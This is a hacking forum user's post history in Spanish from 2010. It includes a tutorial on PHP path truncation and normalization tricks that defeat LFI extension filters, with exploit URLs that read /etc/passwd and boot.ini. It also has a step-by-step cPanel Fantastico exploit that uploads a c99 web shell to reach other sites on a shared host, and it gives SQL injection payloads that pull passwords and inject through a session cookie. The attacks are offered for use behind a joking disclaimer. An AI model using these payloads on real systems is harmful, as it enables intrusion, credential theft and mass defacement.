Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - tragantras

#141
Nivel Web / Re: No es vulnerable?
7 Septiembre 2010, 12:36 PM
la web es tuya? tienes el código del proyecto? por echarte una mano... pq así a ciegas, es dificil!
#142
Hacking / Re: [?] Hydra + Proxy? [?]
7 Septiembre 2010, 12:33 PM
#143
es un LFI bypasseando la extensión de archivo pre-impuesta, si =)
#144
Leyendo el genial blog de Reiners ( link ) llego hasta la publicación de dos interesantes papers denominados PHP filesystem attack vectors ( parte1 | parte 2 ) en los cuales con detalles muy técnicos pero a la vez fácilmente digeribles se nos explica 2 bugs que existen en las versiones PHP y PHP+Suhosin existentes hasta ( al menos ) Septiembre del 2009 (no debemos olvidar que la mayoría de sistemas actualizan sus motores cada bastante tiempo).

Mediante estos dos bugs localizados en el código fuente en C del motor PHP, seremos capaces de bypassear filtros anti LFI.




PATH TRUNCATION
0x01: Escenario:

Código (php) [Seleccionar]

<?php
$file 
"pagina/".$_GET['file'].".html";
include(
$file);
?>


además las magic quotes, están activas.

0x02: Limitaciones:

Con este planteamiento las opciones son limitadas, dado que no podemos usar el "null byte attack", podemos cargar cualquier html del sistema... pero qué archivos html contendrían informacion VITAL para la web? Realmente, opino que muy pocos, más aun sin poder lsitar archivos! (podemos hacer un full path disclosure ingresando un archivo no existente, pero suponemos que no nos devuelve información relevante!)

Bueno, lo que nos plantean los dos papers arriba mencionados, es que usando un bug del sistema podemos alcanzar CUALQUIER tipo de archivo, librándonos de la extensión impuesta ".html".

0x03: Conociendo el bug:

Las versiones mencionadas arriba de PHP poseen una especie de operador "neutro", por el que si se le añade a un archivo, éste, es removido antes de hacer un include (por ejemplo). Suponemos que el archivo a.php existe, si hiciesemos
Código (php) [Seleccionar]

include("includes/a.php");


o

Código (php) [Seleccionar]

include("includes/a.php/./././././");


El efecto sería exactamente igual, en algunas versiones que cuenten con el Suoshin patch, como operador neutro tambien es válido:  /  (0x2F), es decir, sin el punto!

Ahora bien, por si solo este operador neutro, de momento (luego veremos más cosas) no nos proporcion ningun gran avance... Pero pensemos en como se ejecuta nuestro include() a nivel de C, cuando se pasa un nombre de archivo a la funcion fopen, existe un tamaño máximo en la longitud del nombre pasado, este tamaño viene definido por el "MAXPATHLEN". De manera que si el tamaño es mayor, se trunca, y además silenciosamente, sin avisar de esta operacion. De este modo si nuestro archivo se llamase aaaaaaaaaaaaaaaaaa(... 100000 vecse más xD)aaaaa se truncaría a un tamaño predeterminado de 4k en la mayoria de sistemas ( segun el paper, aunque yo tenia entendido que eran 256 caracteres... ).

Esto SI es una gran ventaja, puesto que si pudiesemos hacer que el nombre pasado a la variable mediante GET superase ese límite, la extensión predefinida, se truncaría, quedando así nuestra extensión deseada.  Pero... como hacer que exista un archivo con ese nombre tan tremendamente largo? Usando el operador normalizado!

Así, si el include recibiese un nombre de esta forma...:

pagina/asdf/../../../../../../boot.ini/././././././(un puñao de veces más xD)/././.html

en algun momento de la secuencia de puntos y contrabarras el MAXPATHLEN entraría en juego, truncando el final y dejando fuera de juego a la extensión .html!

0x04: Explotandolo:

Por razones que se esacpan a esta explicacion ( se detallan muy bien en los papers linkados arriba ) en windows el modo a explotar es acabando la cadena en "/" y en linux en "/."

Además se ha de empezar con una barra inclinada "/". De la siguiente manera

www.web.com/includeFAIL.php?pagina=/../../../../boot.ini/./././././././././././././
www.web.com/includeFAIL.php?pagina=/../../../../etc/passwd/././././././././././.

el primero para windows y el segundo para *nix (obviametne...)



PATH NORMALIZATION


Aunque debería haber empezado por aquí, he preferido hacerlo a la inversa, ya que la mayoría lo que buscan es resultados rápidos, y no comprender el problema por dentro... ( lo que considero un fallo enorme de planteamiento ). De cualquier manera, el concepto de normalización ya está explicado, si quereis más información a cerca del código en C responsable de elimiar todas esas barras y puntos (:P) ya sabeis donde encontrar la información.

0x11: Escenario:

Supongams que tenemos un código como el siguiente y que, de nuevo, magic_quotes on.


Código (php) [Seleccionar]

$file = $_GET['file'];
if(substr($file, -4. 4)!=".txt"){
  include("/includes".$file);
}else{  
   die("Lo siento, nada de archivos de texto");
}


0x12: Limitaciones:

Dado este código a priori solo nos restringiria incluir txt, si por ejemplo, somos capaces de subir, un txt al sistema, supongamos que es una web... de yo que se, poemas, y nos dejan subir poemas en formato txt, un formato muy... inocente! XD mediante este código se nos restringiría el incluir esos txt mediante php.

0x13: Explotación:

facilmente se nos ocurre que una petición del estilo

www.web.com/includeFAIL.php?pagina=poemaMaligno.txt/.

dado el bug de la normalización bypassearía la condición de quew no termine en ".txt" pero el sistema, internamente cargaría un ".txt".

El ejemplo de los txt en sí, es muy malo, pero se puede extender a cualquier tipo de comprobación de extensión, supongamos un uploader, la funcion "fopen" y "move_uploaded_file" tambien adolecen de este problema. (Se describe en la segunda parte del paper mencionado ). De esta manera, si al comprobar la extensión se nos vigilase que no se subiesen ".php" podríamos subir un ".php/." ;)








Ala a ser malignos pero bajo vuestra propia responsabilidad! Espero que a esta aportación se le haga un poco más de caso que me e tirado un ratico escribiendola ¬¬
#145
Nivel Web / Re: No es vulnerable?
6 Septiembre 2010, 00:42 AM
Cita de: ctlon en  4 Septiembre 2010, 23:21 PM
a sido solo como ejemplo, como ya comente rompo la cadena incluso pongo bestialidades y no salta un solo error, es lo que me tiene despistado.

por ejemplo esto:

CitarSELECT * FROM sd_sessions WHERE sessionid = '819545cc8a2769483167db653ed0a0d9' union select 1,2,3,4,5,password from sd_users where username='yo'

en la consulta desde el archivo php no genera ninguna coincidencia, pero si lo pongo a mano en mysql funciona bien.

EDITO:

ahora mirando mejor he logrado modificar privilegios de mi sesion, pero....... seria necesario eliminar los and de la consulta original que es lo que me esta creando problemas. voy a probar a ver si hay suerte.


a ver... en un ámbito de select no pueds hacer un update, stacked queries en php+mysql no están permitidas... los and del resto pueds eliminarlos comentando el resto de la cadena con --

si no te tira ningun error puede que tengas que atacar con blind injection
#146
Hacking / Re: Porque google escanea mis puertos??
6 Septiembre 2010, 00:38 AM
jajajajaja no seas loco que te hacen un DDos xD
#147
Bueno, he pensado que estaría bien hacer una contribución a esta comunidad, asi que aprovechando el disclosure de esta vuln que han hecho los chicos de abysssec ( link! ) para el recien estrenado MOAUB  (Month Of Abysssec Undisclosed Bugs) voy a hacer una puesta en escena de como se realizaría la explotación y de paso traduciré algunos fragmentos del texto expuesto en la web apuntada.

0x01: INFO

      Versiones afectadas: cPanel <= 11.25
      Efectos: Atacantes debidamente logueados pueden conseguir acceso a archivos restringidos, bypasseando mod_security, Safemod, y funciones desabilitadas.
      Impacto: Critico, explotable localmente y una vez logueados.


0x02: Finalidad

      Usuarios de hosts compartidos (/virtuales) pueden acceder a otras webs del sistema, así como ejecutar funciones prohibidas (exec, system, passthru... ).
      Defacing múltiples, acceso a otros servidores internos etc...


0x03: Código vulnerable
Código (php) [Seleccionar]


Line 529 :
  function Show_Notice ( $Script , $Version_Numbers )
    {
        $Home_Directory = $GLOBALS['enc_cpanel_homedir'] ;
        if ( substr ( $Home_Directory , -1 ) != '/' )
        {
            $Home_Directory = $Home_Directory . '/' ;
        }
        $Files = Array ( ) ;
        $Directory = $Home_Directory . '.fantasticodata/' . $Script . '/' ;  // AQUI!
        $Files = Get_Files ( $Directory ) ;
        if ( !empty ( $Files ) AND is_array ( $Files ) )
        {
            $Temporary = natcasesort ( $Files ) ;
        }
        foreach ( $Files As $File )
        {
            $Name    = '' ;
            $Path    = '' ;
            if ( strstr ( $File , "|" ) )
            {
                $Name = explode ( "|" , $File ) ;
                $Name = $Name[1] ;
            }
            else
            {
                $Name = $File ;
            }
            /* Debugging */ // echo $Directory . $File . '<br/>' ;
            if ( is_file ( $Directory . $File ) )
            {
                include $Directory . $File ;
                if ( !empty ( $thisscriptpath ) )
                {
                    $Path = $thisscriptpath ;
                }
                else
                {
                    $Path = $Home_Directory . 'public_html/' . $Name . '/' ;
                }
                if ( substr ( $Path , -1 ) != '/' )
                {
                    $Path = $Path . '/' ;
                }
                /* Debugging */ // echo $Path . 'fantversion.php<br/><br/>' ;
                if ( is_file ( $Path . 'fantversion.php' ) )
                {
                    include $Path . 'fantversion.php' ;
                    if ( !empty ( $version ) )
                    {
                        if ( in_array ( $version , $Version_Numbers ) )
                        {
                            return 'Yes' ;
                        }
                    }
                }
            }
        }
        return 'No' ;
    }


0x04: Explotación

Yo tuve que primero entrar en http ://www.[MIWEB].com:2082/frontend/x3/fantastico/index.php, instalar un script cualquiera para que así se creara el archivo necesario en el ftp, suponemos que instalamos el phpFormGenerator, accediendo a: http ://www.[MIWEB].com:2082/frontend/x3/fantastico/autoinstallhome.php?app=phpFormGenerator.

Una vez instalado accedemos mediante el ftp o el filemanager del cPanel a "/home/.fantasticodata/phpFormGenerator/" y subimos nuestro archivo que podrá bypassear la seguridad del host, supongamos una shell, c99.php, tenemos que nombrarla de la siguiente manera: web.com|archivo, por ejemplo si mi web es www.tragantras.com debería crear un archivo que se llamase:  tragantras.com|c99  (puede llamarse c99.php sii..., pero al caso da igual).

Con el archivo ya subido al ftp, tan solo tenemos que entrar de nuevo en http ://www.[MIWEB].com:2082/frontend/x3/fantastico/autoinstallhome.php?app=phpFormGenerator para que mediante el código expuesto anteriormente se haga el include y se cargue sin restricciones nuestro archivo.

0x05: Why?

Bueno, para poder modificar los archivos del host es necesario que el mod fantastico del cpanel no esté restringido por funciones, mod_security o safemod, por ello, podemos hacer uso de esta práctica relajada para hacernos con el sistema. En hosts compartidos podemos llegar a tener acceso a más de 1000 webs con tan solo tener una cuenta en el host...

0x06: DECLINACIÓN DE RESPONSABILIDAD

Como simple usuario de internet no me hago responsable de lo que vosotros, almas corrompibles podeis llegar a hacer con esta info, yo, por mi parte, ya avisé a mi proveedor de servicios en todas las webs de que dispongo.




Sin más un saludo!

#148
Nivel Web / Re: No es vulnerable?
4 Septiembre 2010, 17:13 PM
hace:

Código (php) [Seleccionar]
$sessionid = $_COOKIE['sessionid'];

??? Porque si hace eso, porsupuesto que es vulnerable, vasta con cambiar la cookie a algo como:

-1 union all select 1,2,3,4,n--
#149
Nivel Web / Re: Problema al hacer una SQLi
4 Septiembre 2010, 17:11 PM
debci cuenta como quedó el asunto! sacaste algo? tengo un par de links que te pueden venir bien, en fin, responde xD
#150
Hacking / Re: Porque google escanea mis puertos??
4 Septiembre 2010, 17:09 PM
increible jaja, si hayas el porque, postealo, estoy intrigado!